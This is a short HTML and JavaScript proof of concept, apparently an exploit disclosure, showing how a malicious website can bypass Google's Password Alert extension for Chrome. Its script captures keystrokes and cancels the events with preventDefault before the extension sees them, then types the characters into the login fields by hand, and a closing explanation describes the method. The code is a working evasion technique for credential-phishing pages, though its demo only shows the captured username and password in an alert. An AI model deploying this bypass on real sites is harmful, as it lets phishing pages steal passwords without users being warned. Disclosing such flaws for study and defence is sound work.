Google Chrome Password Alert Extension Bypass

<html>
<head>
<title>Google Chrome Password Alert Extension Test</title>
<script type="text/javascript">

window.onkeyup = function(e) {
    if(e.keyCode>= 32 && e.keyCode<= 126) {
        e.preventDefault();
    }
}

window.onkeydown = function(e) {
    var currentChar = null;

    if(e.keyCode>= 32 && e.keyCode<= 126 && !(e.ctrlKey || e.altKey)) {
        if(e.keyCode >= 65 && e.keyCode <= 90 && !e.shiftKey) {
            currentChar = String.fromCharCode(e.keyCode).toLowerCase();
        } else if(e.keyCode >= 48 && e.keyCode <= 57 && e.shiftKey) {
            switch(e.keyCode) {
                case 48: currentChar = ")"; break;
                case 49: currentChar = "!"; break;
                case 50: currentChar = "@"; break;
                case 51: currentChar = "#"; break;
                case 52: currentChar = "$"; break;
                case 53: currentChar = "%"; break;
                case 54: currentChar = "^"; break;
                case 55: currentChar = "&"; break;
                case 56: currentChar = "*"; break;
                case 57: currentChar = "("; break;
            }
        } else {
            currentChar = String.fromCharCode(e.keyCode);
        }

        if(currentChar !== null) {
            if(e.target.id === "txtUsername" || e.target.id === "txtPassword") {
                document.getElementById(e.target.id).value += currentChar;
            }
        }

        e.preventDefault();
    }
}

function DoLogin() {
    alert("Username: " + document.getElementById("txtUsername").value
        + "\nPassword: " + document.getElementById("txtPassword").value);
}

</script>
</head>
<body>

<form method="post" action="javascript:DoLogin();">
    <table>
        <tbody>
            <tr>
                <td><label for="txtUsername">Username</label></td>
                <td><label for="txtPassword">Password</label></td>
            </tr>
            <tr>
                <td><input type="text" id="txtUsername" /></td>
                <td><input type="password" id="txtPassword" /></td>
            </tr>
            <tr>
                <td colspan="2" style="text-align: center;">
                    <input type="submit" value="Login" />
                    <input type="reset" value="Clear" />
                </td>
            </tr>
        </tbody>
    </table>
</form>

<h1>Explanation</h1>

<p>This is a crude proof-of-concept that shows how the Google Password Alert extension for Google Chrome can be bypassed by a malicious website.</p>

<p>This method works by binding the keyup and keydown events for the window, determining which key is being pressed, and appending the value of the key being pressed to the username or password input if one of them has focus.</p>

<p>Once the value has been added to the focused input, the event is canceled with e.preventDefault(). With this method, the event is stopped before the Google Password Alert extension is able to see it; therefore, it cannot warn the user.</p>

</body>
</html>